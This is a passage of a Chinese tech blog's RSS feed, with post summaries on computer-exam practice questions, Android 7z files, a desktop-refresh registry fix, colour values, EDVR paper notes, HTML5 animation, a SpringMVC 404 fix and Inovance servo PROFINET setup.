      <link>https://bchobby.github.io/posts/5321c671c22a3a08062411f8cf26d132/</link>
      <pubDate>Thu, 17 Jun 2021 22:25:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5321c671c22a3a08062411f8cf26d132/</guid>
      <description>2017全国计算机一级《WPS》复习题「附答案」&#xA;所谓成功，就是在平凡中做出不平凡的坚持。以下是百分网小编搜索整理的一份全国计算机一级《WPS》复习题【附答案】，供参考练习，希望对大家有所帮助!想了解更多相关信息请持续关注我们应届毕业生考试网!&#xA;1、下面(B)视图最适合移动、复制幻灯片。&#xA;A)普通&#xA;B)幻灯片浏览&#xA;C)备注页&#xA;D)大纲&#xA;2、如果希望将幻灯片由横排变为竖排，需要更换(A)。&#xA;A)版式&#xA;B)设计模版&#xA;C)背景&#xA;D)幻灯片切换&#xA;3、动作按钮可以链接到【D】。&#xA;A)其它幻灯片&#xA;B)其它文件&#xA;C)网址&#xA;D)以上都行&#xA;4、计算机系统由(C)组成。&#xA;A)主机和系统软件&#xA;B)硬件系统和应用软件&#xA;C)硬件系统和软件系统&#xA;D)微处理器和软件系统&#xA;5、冯诺依曼式计算机硬件系统的组成部分包括(B)。&#xA;A)运算器、外部存储器、控制器和输入输出设备&#xA;B)运算器、控制器、存储器和输入输出设备&#xA;C)电源、控制器、存储器和输入输出设备&#xA;D)运算器、放大器、存储器和输入输出设备&#xA;6、下列数中，最小的是(B)。&#xA;A)(1000101)2&#xA;B)(63)10&#xA;C)(111)8&#xA;D)(4A)16&#xA;7、(C)设备既是输入设备又是输出设备。&#xA;A)键盘&#xA;B)打印机&#xA;C)硬盘&#xA;D)显示器&#xA;8、微机中1MB表示的二进制位数是(A)。&#xA;A)1024×1024×8&#xA;B)1024×8&#xA;C)1024×1024&#xA;D)1024&#xA;9、计算机能够直接识别和执行的语言是(A)。&#xA;A)机器语言&#xA;B)汇编语言&#xA;C)高级语言&#xA;D)数据库语言&#xA;10、计算机病毒(B)。&#xA;A)计算机系统自生的&#xA;B)一种人为编制的计算机程序&#xA;C)主机发生故障时产生的&#xA;D)可传染疾病给人体的那种病毒&#xA;11、在资源管理器中要同时选定不相邻的多个文件,使用(B)键。&#xA;A)Shift&#xA;B)Ctrl&#xA;C)Alt&#xA;D)F8&#xA;12、在Windows中，剪贴板是程序和文件间用来传递信息的临时存储区，此存储器是(C)。&#xA;A)回收站的一部分&#xA;B)硬盘的一部分&#xA;C)内存的一部分&#xA;D)软盘的一部分&#xA;13、a*d.com和a?d.com分别可以用来表示(A)文件。&#xA;A)abcd.com和add.com&#xA;B)add.com和abcd.com&#xA;C)abcd.com和abcd.com&#xA;D)abc.com和abd.com&#xA;14、关于WORD保存文档的描述不正确的是(D)。&#xA;A)“常用”工具栏中的“保存”按钮与文件菜单中的“保存”命令选项同等功能</description>
    </item>
    <item>
      <title>安卓手机怎么删除html文件,安卓手机如何打开和删除7z文件？</title>
      <link>https://bchobby.github.io/posts/c102972c43fe938bcc3870c0b6b93039/</link>
      <pubDate>Thu, 17 Jun 2021 13:21:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c102972c43fe938bcc3870c0b6b93039/</guid>
      <description>01&#xA;首先在手机应用市场中安装RAR；打开RAR软件，找到“7z”后缀的目标文件并勾选；点击页面上方的解压图标；选择解压的文件目录，然后确定即可开始解压；点击文件夹即可看到之前被压缩的具体文件。长按文件选择删除即可删除文件。&#xA;7z 是一种主流高效的压缩格式，它拥有极高的压缩比。在计算机科学中，7z是一种可以使用多种压缩算法进行数据压缩的档案格式。该格式最初被7-Zip实现并采用，但是这种档案格式是公有的，并且7-Zip软件本身亦在GNU宽通用公共许可证 (GNU LGPL)协议下开放源代码。&#xA;安卓手机打开和删除7z文件方法：&#xA;1、首先在手机应用市场中安装RAR。&#xA;2、接着打开RAR软件，找到“7z”后缀的目标文件并勾选。&#xA;3、点击页面上方的解压图标。&#xA;4、选择解压的文件目录，然后确定即可开始解压。&#xA;5、点击文件夹即可看到之前被压缩的具体文件。&#xA;6、长按文件选择删除即可删除文件。&#xA;WinRAR 是一款功能强大的压缩包管理器，它是档案工具RAR在 Windows环境下的图形界面。该软件可用于备份数据，缩减电子邮件附件的大小，解压缩从 Internet 上下载的RAR、ZIP及其它类型文件，并且可以新建 RAR 及 ZIP 格式等的压缩类文件。从5.60版开始，WinRAR启用了新的图标，但用户仍可以通过官网提供的主题包换回原版风格的图标。</description>
    </item>
    <item>
      <title>桌面一直刷新动不了计算机,电脑桌面不会自动刷新怎么办?</title>
      <link>https://bchobby.github.io/posts/c193c6631be69c9fb30f6c0993addaad/</link>
      <pubDate>Thu, 17 Jun 2021 12:36:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c193c6631be69c9fb30f6c0993addaad/</guid>
      <description>最近不少朋友反馈：文件保存桌面之后，电脑桌面却没显示，需要手动刷新桌面之后才能显示。&#xA;遇到这种桌面不会自动刷新的情况该怎么办呢？&#xA;今天我们就给大家分享下解决方法吧。&#xA;方法一：手动设置&#xA;使用“win+ R” 打开运行窗口，输入“regedit”，点击确定。&#xA;打开注册表编辑器后，在注册表编辑器页左侧依次打开：&#xA;“hkey_local_machine”→“system”→“currentcontrolset”→“control”。&#xA;找到“control”后右键点击，新建“项”，并重命名为“Update”。&#xA;根据自己电脑系统选择新建的QWORD(64)值,并重命名为“DWORD”。&#xA;将数值限定为“0”，并选择基数为十六进制，最后点击确定即可。&#xA;回到桌面，电脑桌面就会自动刷新了。&#xA;方法二：电脑医生自动修复&#xA;首先，我们的电脑需装有金山毒霸软件。&#xA;若还未安装可前往官网下载，或直接点击下方图片即可快速下载安装。&#xA;打开金山毒霸选择下方百宝箱，在百宝箱中找到“电脑医生”，点击进入。&#xA;在电脑医生页搜索框中输入“桌面不会自动刷新”，进行方案搜索。&#xA;选择符合情况的方案“桌面不能自动刷新”，点击打开。&#xA;点击“立即修复”，然后安心等待电脑医生的自动修复即可。&#xA;最后自动修复结束，点击“完成”。&#xA;此时我们电脑桌面不会自动刷新的问题就解决啦。&#xA;以上就是解决电脑桌面不会自动刷新的方法了。&#xA;最后，如果这篇文章对你有所帮助，或者今后想要学习更多有用有趣的电脑知识或操作技巧，欢迎持续关注我们的官网资讯。&#xA;若使用金山毒霸过程中遇到其他问题，欢迎联系我们。</description>
    </item>
    <item>
      <title>html颜色奶白色,象牙白rgb值是多少 和乳白哪个更白</title>
      <link>https://bchobby.github.io/posts/33f2d49d20f51f34c948cfd38d3e05ee/</link>
      <pubDate>Thu, 17 Jun 2021 12:08:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33f2d49d20f51f34c948cfd38d3e05ee/</guid>
      <description>象牙白和乳白，都是很白的颜色，经常被拿来作比较。象牙白rgb值是多少？乳白哪个更白？&#xA;象牙白rgb值是多少：&#xA;象牙色Ivory(简朴)&#xA;CMYK:C10 M10 Y20 K0&#xA;RGB:R235 G229 B209&#xA;印刷四分色模式是彩色印刷时采用的一种套色模式，利用色料的三原色混色原理，加上黑色油墨，共计四种颜色混合叠加，形成所谓“全彩印刷”。四种标准颜色是：&#xA;C：Cyan = 青色，又称为‘天蓝色’或是‘湛蓝’M：Magenta = 品红色，又称为‘洋红色’；Y：Yellow = 黄色；K：Key Plate(blacK) = 定位套版色(黑色)。&#xA;象牙白和乳白哪个更白：&#xA;一、首先，白色的基本解释之一是牛奶那样的颜色，因此白色和乳白色，并没有严格的区分；但通常认为乳白色看起来比较柔和、给人一种安静柔美的感觉；纯白色有些扎眼，但很亮丽纯洁。&#xA;二、象牙色，指与象牙颜色一样的白色；与白色比，象牙色有点偏黄 。&#xA;三、因此，按照习惯区分，这三种颜色由浅至深分别是：白色、乳白、象牙白。&#xA;好了，关于象牙白rgb值的介绍就到这里了，小伙伴们都明白了吧。</description>
    </item>
    <item>
      <title>2021计算机一级选择题必背知识点,2021年计算机一级考试B练习题及答案</title>
      <link>https://bchobby.github.io/posts/cc850a905d9669d4a8888ddc8db7f270/</link>
      <pubDate>Thu, 17 Jun 2021 04:03:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc850a905d9669d4a8888ddc8db7f270/</guid>
      <description>一、选择题&#xA;1.计算机之所以能按人们的意志自动进行工作，最直接的原因是因为采用了&#xA;A)二进制数制&#xA;B)高速电子元件&#xA;C)存储程序控制&#xA;D)程序设计语言&#xA;2.微型计算机主机的主要组成部分是&#xA;A)运算器和控制器&#xA;B)CPU和内存储器&#xA;C)CPU和硬盘存储器&#xA;D)CPU、内存储器和硬盘&#xA;3.一个完整的计算机系统应该包括&#xA;A)主机、键盘和显示器&#xA;B)硬件系统和软件系统&#xA;C)主机和它的外部设备&#xA;D)系统软件和应用软件&#xA;4.计算机软件系统包括&#xA;A)系统软件和应用软件&#xA;B)编译系统和应用软件&#xA;C)数据库管理系统和数据库&#xA;D)程序、相应的数据和文档&#xA;5.微型计算机中，控制器的基本功能是&#xA;A)进行算术和逻辑运算&#xA;B)存储各种控制信息&#xA;C)保持各种控制状态&#xA;D)控制计算机个部件协调一致地工作&#xA;6.计算机操作系统的作用是&#xA;A)管理计算机系统的全部软、硬件资源，合理组织计算机的工作流程，以达到充分发挥计算机资源的效率，为用户提供使用计算机的友好界面&#xA;B)对用户存储的文件进行管理，方便用户&#xA;C)执行用户键入的各类命令&#xA;D)为汉字操作系统提供运行的基础&#xA;7.计算机的硬件主要包括：中央处理器(CPU)、存储器、输出设备和&#xA;A)键盘&#xA;B)鼠标&#xA;C)输入设备&#xA;D)显示器&#xA;8.下列各组设备中，完全属于外部设备的一组是&#xA;A)内存储器、磁盘和打印机&#xA;B)CPU、软盘驱动器和RAM&#xA;C)CPU、显示器和键盘&#xA;D)硬盘、软盘驱动器、键盘&#xA;9五笔字型码输入法属于&#xA;A)音码输入法&#xA;B)形码输入法&#xA;C)音形结合的输入法&#xA;D)联想输入法&#xA;10.一个GB2312编码字符集中的汉字的机内码长度是&#xA;A)32位&#xA;B)24位&#xA;C)16位&#xA;D)8位&#xA;11.RAM的特点是&#xA;A)断电后，存储在其内的数据将会丢失&#xA;B)存储在其内的数据将永久保存&#xA;C)用户只能读出数据，但不能随机写入数据&#xA;D)容量大但存取速度慢&#xA;12.计算机存储器中，组成一个字节的二进制位数是&#xA;A)4&#xA;B)8&#xA;C)16&#xA;D)32&#xA;13.微型计算机硬件系统中最核心的部件是&#xA;A)硬盘&#xA;B)I/O设备&#xA;C)内存储器&#xA;D)CPU&#xA;14.无符号二进制整数10111转变成十进制整数，其值是&#xA;A)17&#xA;B)19</description>
    </item>
    <item>
      <title>2021计算机一级选择题必背知识点,2021年度全国计算机等级考试MSOffice选择题必考.doc...</title>
      <link>https://bchobby.github.io/posts/e646b12aee50acfdd289d494eadece1c/</link>
      <pubDate>Thu, 17 Jun 2021 04:03:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e646b12aee50acfdd289d494eadece1c/</guid>
      <description>选取题汇总&#xA;关于数据库管理阶段特点，下列说法中错误是 C&#xA;数据真正实现了构造化&#xA;数据共享性高，冗余度低，易扩充&#xA;数据独立性差&#xA;数据由DBMS统一管理和控制&#xA;在关系数据库设计中，关系模式是用来记录顾客数据 D&#xA;实体&#xA;视图&#xA;属性&#xA;二维表&#xA;将实体—联系模型转换为关系模型时，实体之间多对多联系在关系模型中实现方式是 B&#xA;建立新属性&#xA;建立新关系&#xA;增长新核心字&#xA;建立新实体&#xA;定义学生、教师和课程关系模式S(S#，Sn，Sd，Ｄc，Sa)(其属性分别为学号、姓名、所在系、所在系系主任、年龄)；C(C #,Cn，P#)(其属性分别为课程号、课程名、先修课)；SC(S#，C#，G)(其属性分别为学号、课程号和成绩)。包括对非主属性某些依赖关系 D&#xA;其她三项都不对&#xA;C(C #,Cn，P#)&#xA;SC(S#，C#，G)&#xA;S(S#，Sn，Sd，Ｄc，Sa)&#xA;定义学生、教师和课程关系模式S(S#，Sn，Sd，Ｄc，Sa)(其属性分别为学号、姓名、所在系、所在系系主任、年龄)；C(C #,Cn，P#)(其属性分别为课程号、课程名、先修课)；SC(S#，C#，G)(其属性分别为学号、课程号和成绩)，则该关系为 B&#xA;第一范式&#xA;第二范式&#xA;第三范式&#xA;BCNF范式&#xA;数据库三级模式体系构造划分有助于保持数据库 A&#xA;数据独立性&#xA;数据安全性&#xA;构造规范化&#xA;操作可行性&#xA;下列关于数据库特点说法中对的是 A&#xA;数据能共享且独立性高&#xA;数据能共享但数据冗余很高&#xA;能保证数据完整性但减少了安全性&#xA;数据独立性高但不能实现共享&#xA;对数据库数据存储方式和物理构造逻辑进行描述是 A&#xA;内模式&#xA;模式&#xA;外模式&#xA;顾客模式&#xA;数据库概念设计阶段得到成果是 C&#xA;关系模型&#xA;数据字典&#xA;E—R模型&#xA;物理模型&#xA;小江需要在Word中插入一种运用Excel制作好表格，并但愿Word文档中表格内容随Excel源文献数据变化而自动变化，最快捷操作办法是 A&#xA;在Word中通过“插入”→“对象”功能插入一种可以链接到源文献Excle表格&#xA;复制Excle数据源，然后在Word中通过“开始”→“粘贴”→“选取性粘贴”命令进行粘贴链接&#xA;复制Excle数据源，然后在Word右键快捷菜单上选取带有链接功能粘贴选项&#xA;在Word中通过“插入”→“表格”→“Excle电子表格”命令链接Excle表格&#xA;在word中编辑一篇文稿时，如需迅速选用一种较长段落文字区域，最快捷操作办法C&#xA;直接用鼠标拖动选取整个段落&#xA;在段首单击，按下Shift键不放再单击段尾&#xA;在段落左侧空白处双击鼠标&#xA;在段首单击，按下Shift键不放再按End键</description>
    </item>
    <item>
      <title>计算机基础及msoffice应用好考吗,全国计算机等级考试考试一级WPS Office和MS Office有什么不同?那个好考?...</title>
      <link>https://bchobby.github.io/posts/f2955a04304f0a29b0ce65b0948d8197/</link>
      <pubDate>Thu, 17 Jun 2021 02:58:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2955a04304f0a29b0ce65b0948d8197/</guid>
      <description>以后的计算机office中的word等时2010版本，计算机一级有两个选择：&#xA;1、一级WPS Office&#xA;1. 采用无纸化考试，上机操作。考试时间为90 分钟。&#xA;2. 软件环境:Windows 7 操作系统,WPS Office 2012 办公软件。&#xA;3. 在指定时间内,完成下列各项操作:&#xA;(1) 选择题(计算机基础知识和网络的基本知识)。(20 分)&#xA;(2) Windows 操作系统的使用。(10 分)&#xA;(3) WPS 文字的操作。(25 分)&#xA;(4) WPS 表格的操作。(20 分)&#xA;(5) WPS 演示软件的操作。(15 分)&#xA;(6) 浏览器(IE)的简单使用和电子邮件收发。(10 分)&#xA;2、一级MS Office&#xA;1. 采用无纸化考试,上机操作。考试时间为90 分钟。&#xA;2. 软件环境:Windows 7 操作系统,Microsoft Office 2010 办公软件。&#xA;3. 在指定时间内,完成下列各项操作:&#xA;(1) 选择题(计算机基础知识和网络的基本知识)。(20 分)&#xA;(2) Windows 操作系统的使用。(10 分)&#xA;(3) Word 操作。(25 分)&#xA;(4) Excel 操作。(20 分)&#xA;(5) PowerPoint 操作。(15 分)</description>
    </item>
    <item>
      <title>912 计算机考研专业课,2019清华大学计算机考研912考试教材如何选择？</title>
      <link>https://bchobby.github.io/posts/e33a072869d3fb77cc6fdc75cb5ae901/</link>
      <pubDate>Wed, 16 Jun 2021 22:29:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e33a072869d3fb77cc6fdc75cb5ae901/</guid>
      <description>2019清华大学计算机考研912考试教材如何选择？&#xA;2018-05-15 11:26&#xA;|&#xA;考研集训营&#xA;清华大学是考研计算机自主命题院校，许多考生对于清华大学计算机考研912考试教材不知道如何选择，本期小编与考生分享的是相关内容，小编提醒考生，即使院校没有公布教材，考生可参考统考408的相关内容，以下是相关内容。&#xA;一、清华大学计算机专业课912试卷分值结构&#xA;清华计算机专业课912还是保持前两年的结构，数据结构70分，计算机组成原理30，操作系统30，计算机网络20.&#xA;数据结构分成三部分：第一部分判断题10题，每题2分;选择题8题，每天3分;两个算法题，每题13分。&#xA;计算机组成原理内容和统考差不多，有选择，填空，判断，填空的话要求计算。&#xA;操作系统和数据结构一样，和统考的差别比较大，操作系统的难度比较大。&#xA;计算机网络统考差不多，前面五分选择，最后一大题10分，有子网划分，IP数据分片，和RTT往返时间的计算。&#xA;二、清华大学计算机考研912考试教材&#xA;如果考生本科学过专业课的四门，内容一般比较熟悉，考生可以只用过408的资料。另外浏览了一下网上流传的一些912真题。有时间的话，数据结构可以看看《算法导论》，计算机原理可以看看《计算机组成与设计——硬件/软件接口》，操作系统可以看看《操作系统——精髓与设计原理》，计算机网络可以看看《计算机网络》(Andrew)。这些是领域内比较经典的教材，但看下来比较花时间，可以根据个人需要。&#xA;如果考生有时间的话，考生可以看看清华本科的教材，考生可以通过清华本科的教材来进行了解。&#xA;以上就是本期小编与考生分享的清华大学计算机考研912考试教材的相关内容，希望对考生有所帮助。</description>
    </item>
    <item>
      <title>视频重建论文EDVR: Video Restoration with Enhanced Deformable Convolutional Networks阅读笔记</title>
      <link>https://bchobby.github.io/posts/8e5273ea18e2b981e5cfb287944a0506/</link>
      <pubDate>Wed, 16 Jun 2021 18:48:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e5273ea18e2b981e5cfb287944a0506/</guid>
      <description>论文来源：CVPRW2019&#xA;论文链接：http://ieeexplore.ieee.org/document/9025464&#xA;项目地址：GitHub - xinntao/EDVR: Winning Solution in NTIRE19 Challenges on Video Restoration and Enhancement (CVPR19 Workshops) - Video Restoration with Enhanced Deformable Convolutional Networks. EDVR has been merged into BasicSR and this repo is a mirror of BasicSR.&#xA;作者：商汤&#xA;概述： NTIRE2019视频恢复和增强挑战赛的冠军解决方案，在所有四个赛道中（视频去模糊(clean/压缩伪影)、视频超分(clean/blur)）都赢得了冠军，并以巨大的优势超过了第二名。EDVR在视频超分辨率和去模糊方面的性能也达到了当时的sota效果。&#xA;以视频去模糊为例，网络输入为当前帧和其前后N帧共（2N+1）帧，首先使用步长&amp;gt;2的卷积来下采样降低分辨率从而减少计算开销，然后先用一个PreDeblur模块对输入进行预去模糊，从而提升后续PCD对齐模块的对齐精度。&#xA;PCD对齐模块整体框架是一个金字塔结构，对于每一帧图像，分别用卷积来提取特征，对于金字塔的第l层特征，都是由l-1层的所有特征concat后用步长为2的卷积得到的，而l层的偏移量是由l层的特征和l+1层的偏移量上采样后concat进行卷积得到的。在上采样过程中，第l层的特征是由对应层串联特征应用可变形卷积提取特征后，与l+1层的特征上采样后concat再进行卷积得到的。采用这种将可变形卷积与金字塔网络结合的方式，可以由粗到细的对特征进行对齐，从而使多帧之间的对齐更精确。在金字塔之后，把L1层的浅层特征和深层特征concat再卷积得到一个偏移量，然后对最后的特征进行可变形卷积得到最后的对齐特征。对于对齐后的特征，将其输入到一个TSA融合模块中。&#xA;TSA融合模块是用来为每一帧分配像素级的融合权重。用于进一步融合时空信息，解决遮挡、模糊区域、不同帧信息量不对等以及前一阶段可能的未对准问题，对于每一帧，先卷积，再用每一帧的卷积结果与当前参考帧的卷积结果点乘，然后用sigmoid来得到一个权重矩阵，然后将这个矩阵和每一帧的特征图进行像素级相乘，从而实现多通道上的空间注意力，自适应的融合多帧信息，再将得到的结果串联卷积后送入一个三层金字塔网络中，TSA的输出结果被输入到一个重建模块中，重建模块由40个残差块组成，最后的重建结果上采样之后与输入相加得到最后的增强结果。&#xA;采用单个EDVR网络已经可以达到sota的效果，但在比赛中为了获得更好的结果，作者在一个EDVR网络后级联了第二个深度较浅的EDVR网络来进一步提升性能。&#xA;Abstract 视频恢复任务，包括超分辨率、去模糊等，越来越受到计算机视觉界的关注。一个名为REDS的具有挑战性的基准在NTIRE19挑战赛中发布。这个新的基准从两个方面挑战了现有的方法：（1）如何在给定大运动的情况下对齐多个帧；（2）如何有效地融合具有不同运动和模糊的不同帧。在这项工作中，我们提出了一个新的视频恢复框架与增强可变形卷积，称为EDVR，以解决这些挑战。首先，为了处理大的运动，我们设计了一个Pyramid, Cascading和Deformable （PCD）对齐模块，在该模块中，帧对齐是在特征级使用从粗到精的可变形卷积来完成的。其次，我们提出了一个时空注意（TSA）融合模块，该模块在时间和空间上同时应用注意力，以强调后续恢复的重要特征。得益于这些模块，我们的EDVR在NTIRE19视频恢复和增强挑战赛的所有四个赛道中都赢得了冠军，并以巨大的优势超过了第二名。EDVR在视频超分辨率和去模糊方面的性能也优于最新公布的方法。代码可在https://github.com/xinntao/EDVR.&#xA;1. Introduction balabala&#xA;我们提出了一个统一的框架，称为EDVR，它可以扩展到各种视频恢复任务，包括超分辨率和去模糊。EDVR的核心是（1）一个金字塔、级联和可变形卷积（PCD）的对齐模块，（2）一个称为时空注意（TSA）的融合模块。&#xA;PCD模块受TDAN[40]的启发，使用可变形卷积将每个相邻帧与特征级的参考帧对齐。与TDAN不同，我们以从粗到精的方式执行对齐，以处理大型和复杂的运动。具体来说，我们使用金字塔结构，首先将低尺度的特征与粗略估计对齐，然后将偏移和对齐的特征传播到更高的尺度，以便于精确的运动补偿，类似于光流估计中采用的概念[7，9]。此外，我们在金字塔对齐操作之后级联一个额外的可变形卷积，以进一步提高对齐的鲁棒性。&#xA;提出的TSA是一个融合模块，有助于跨多个对齐特征聚合信息。为了更好地考虑每一帧上的视觉信息，我们通过计算参考帧和每一相邻帧特征之间的元素相关来引入时间注意。然后，相关系数对每个位置处的每个相邻特征进行加权，指示其对于重构参考图像的信息量。然后对所有帧的加权特征进行卷积和融合。在与时间注意融合后，我们进一步应用空间注意为每个通道中的每个位置分配权重，以更有效地利用交叉通道和空间信息。&#xA;我们参与了视频恢复和增强挑战[29，28]中的所有四个赛道，包括视频超分辨率（清晰/模糊）和视频去模糊（清晰/压缩伪影）。由于有效的对齐和融合模块，我们的EDVR在所有四个具有挑战性的赛道中都获得了冠军，证明了我们方法的有效性和可推广性。除了比赛结果，我们还报告了对现有的视频超分辨率和去模糊基准的比较结果。在这些视频恢复任务中，我们的EDVR显示出比最先进的方法优越的性能。&#xA;3. Methodology 3.1. Overview 给定2N+1个连续的低质量帧，我们将中间帧表示为参考帧，其他帧表示为相邻帧。视频恢复的目的是估计一个高质量的参考帧ˆOt，接近ground truth帧Ot。所提出的EDVR的总体框架如图2所示。它是一种适用于多种视频恢复任务的通用架构，包括超分辨率、去模糊、去噪、去块等。&#xA;以视频SR为例，EDVR采用2N+1低分辨率帧作为输入，产生高分辨率输出。每个相邻帧通过PCD对齐模块在特征级与参考帧对齐。TSA融合模块融合不同帧的图像信息。有关这两个模块的详细信息，请参见第3.2节和第3.3节。融合后的特征通过重建模块，重建模块是EDVR中剩余块的级联，可以很容易地被单个图像SR中的任何其他高级模块替换[46，51]。在网络的末端执行上采样操作以增加空间大小。最后，高分辨率帧通过将预测图像残差与直接上采样图像相加得到^Ot。&#xA;对于具有高空间分辨率输入的其他任务，例如视频去模糊，首先使用跨步卷积层对输入帧进行下采样。然后大部分的计算是在低分辨率空间进行的，这大大节省了计算成本。最后的上采样层会将特征调整回原始的输入分辨率。在对齐模块之前使用Predeblur模块对模糊输入进行预处理，提高对齐精度。&#xA;虽然单个EDVR模型可以达到最先进的性能，但我们采用了两阶段策略来进一步提升NTIRE19竞赛中的性能。具体来说，我们级联相同的EDVR网络，但深度较浅，以细化第一阶段的输出帧。级联网络可以进一步消除先前模型无法处理的严重运动模糊。详情见第3.4.节。&#xA;3.2. Alignment with Pyramid, Cascading and Deformable Convolution 如图3所示，整体采用三层特征金字塔的结构，对于每一帧，分别用卷积来提取特征，然后用步长为2的卷积下采样，对于金字塔的第l层特征，都是由l-1层的所有特征concat后用步长为2的卷积得到的，而l层的偏移量是由l层的特征和l+1层的偏移量上采样后concat进行卷积得到的。在上采样过程中，第l层的特征是由对应层串联特征应用可变形卷积提取特征后，与l+1层的特征上采样后concat再进行卷积得到的。在金字塔之后，把L1层的浅层特征和深层特征concat再卷积得到一个偏移量，然后对最后的特征进行可变形卷积得到最后的对齐特征。</description>
    </item>
    <item>
      <title>html制作小车,HTML5 实现小车动画效果(Canvas/CSS3/JQuery)</title>
      <link>https://bchobby.github.io/posts/b73f762acf55c5b86f98321e62a1971a/</link>
      <pubDate>Wed, 16 Jun 2021 18:35:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b73f762acf55c5b86f98321e62a1971a/</guid>
      <description>HTML5正在变得越来越流行。在这个移动设备日益增长的时代，对来自Adobe的Flash插件的改造需求也正在快速增长。因为就在最近，Adobe宣布Flash将不再支持移动设备。这意味着，Adobe自身也认为对移动设备来讲HTML5是一项重要的技术。而桌面系统的改变也是迟早的事。&#xA;HTML的一大劣势就是对于多媒体技术支持的缺乏。在HTML中，你无法直接显示一个视频或在屏幕上绘画。在HTML5中，随着与元素的引进。这些元素给予开发者直接使用“纯粹的”HTML来实现多媒体技术的可能性——仅需要写一些Javascript代码来配合HTML。在多媒体技术中，有一个基本的技术应该被支持——动画。在HTML5中，有不少方式能够实现该功能。&#xA;在这篇文章中，我仅将最新的元素与即将到来的CSS3动画技术进行比较。其他的可能性包括DOM元素或SVG元素的创建和动画。这些可能性将不在本文中进行讨论。从开始就应该注意到canvas技术在当前发布的大部分主流浏览器都给予了支持，而CSS3动画仅在最新的FireFox与Chrome浏览器中才有实现的可能，下一个版本的IE也将提供对CSS3动画的支持。(所以本文中所有演示代码的效果，在Win 7系统下当前最新版的Chrome浏览器中都可实现，但在其他操作系统与其他浏览器中，并不一定能看到所有演示代码的效果)。&#xA;下载地址：&#xA;具体下载目录在 /2012年资料/4月/22日/HTML5 实现小车动画效果/&#xA;这里我选择了一个比较简单的动画：&#xA;PS：由于显卡、录制的帧间隔，以及可能你电脑处理器的原因，播放过程可能有些不太流畅或者失真！&#xA;分三种方式实现：&#xA;(1) canvas元素结合JS&#xA;(2) 纯粹的CSS3动画(暂不被所有主流浏览器支持，比如IE)&#xA;(3) CSS3结合Jquery实现&#xA;知道如何使用CSS3动画比知道如何使用元素更重要：因为浏览器能够优化那些元素的性能(通常是他们的样式，比如CSS)，而我们使用canvas自定义画出来的效果却不能被优化。原因又在于，浏览器使用的硬件主要取决于显卡的能力。目前，浏览器没有给予我们直接访问显卡的权力，比如，每一个绘画操作都不得不在浏览器中先调用某些函数。&#xA;让我们从Canvas开始&#xA;HTML代码：&#xA;Animation in HTML5 using the canvas element Your browser does not support the-element.Please think about updating your brower!&#xA;Slower&#xA;Play&#xA;Faster</description>
    </item>
    <item>
      <title>springmvc 访问报错404，后台不报错，不进入controller的问题解决。</title>
      <link>https://bchobby.github.io/posts/77d02ebd09d8fd5cb94d22cf285fae31/</link>
      <pubDate>Wed, 16 Jun 2021 10:24:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77d02ebd09d8fd5cb94d22cf285fae31/</guid>
      <description> 一开始我也是上网找解决办法，找了好久，都是让检查springmvc.xml和web.xml的配置文件以及，访问网址路径等。统统检查了都是正确配置的。可最后还是报404。心态崩了，这个问题困扰我两天。睡觉都在想，到底哪里出问题了，这也是引起我们程序员掉头发的原因吧。。。好了，不卖关子了，最后终于解决了，具体解决方法看下图，是tomcat配置红框内的服务器启动部署项目改成&#xA;&#34; / &#34; 还有最重要的一个试试办法，就是重装Apache-tomcat。如果你改过tomcat里面的东西最好重装一下，我重装的是8.5.68版本的,重装后不要更改tomcat内的所有 文件。IDEA重新配置新装的tomcat。运行后问题解决。特别是tomcat-10版本的好像不能用，每次测tomcat-10版本的都不行。查看官网可以找到为什么tomcat-10版本不行了 </description>
    </item>
    <item>
      <title>汇川IS620F PN博途使用FB284＜111报文＞进行基本定位,及GSD/使用说明下载＜替换V90＞</title>
      <link>https://bchobby.github.io/posts/d0435a60bff8bc6af8f94b2251ab02b7/</link>
      <pubDate>Wed, 16 Jun 2021 10:19:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0435a60bff8bc6af8f94b2251ab02b7/</guid>
      <description> 当下,西门子V90伺服,缺货,现货一套难求&#xA;脉冲伺服很简单,直接换安川,汇川,松下,台达等等,&#xA;PN总线的咋办?&#xA;不要怕,汇川IS620F系列在,支持1,3,102,111,105,750,850报文.&#xA;山东地区及其他地区需要汇川IS620F伺服的用户,请致电151 5311 9366&#xA;本文主要讲述如何在博途通过111号报文使用汇川IS620F伺服进行基本定位&#xA;AC3 模式&#xA;1 概述&#xA;S7-1200、1500PLC可以通过Profinet通讯连接1S620F/810F伺服驱动器，将驱动器的控制模式后设罣为“基本位罣控制(EPOS) &#34;, PLC通过111报文及TIAPortal提供的驱动库中的功能块SINA_POS (FB284)实现基本定位控制。&#xA;2 配置要点&#xA;1) 在网络视图中添加1S620F设备并创建与PLC的网络连接。&#xA;2) 删除3号报文，更换为111报文。&#xA;3) 设置PLC以及1S620F的IP地址及Profinet设备名称。&#xA;4) 在主程序中应用SinaPOS功能块．&#xA;5) 对于功能块管脚HWI DSTW及HWI DSZW的赋值， 可以在设备视图中，双击&#34;1S620F&#34;，选择“111报文”，右键选择“属性”。&#xA;6) 在系统常数中找到硬件标识符.&#xA;7) 若需要开启转矩限制与转矩读取功能，需要将HOE-38、HOE-39设为1。&#xA;8)111报文组态配置完成。下面就可以愉快的使用FB284编写程序了,与V90使用方法几乎一样.&#xA;汇川 IS620F,PROFINET伺服资料&#xA;1.样册,&#xA;2.使用手册,&#xA;3.gsd文件,&#xA;4.伺服调试软件&#xA;关注公众号 JNBSNET ,回复 620F ,获取&#xA;山东地区及其他地区需要汇川IS620F伺服的用户,请致电151 5311 9366&#xA;IS620F PN博途组态TO工艺对象,讨论汇川IS620F 替代西门子V90 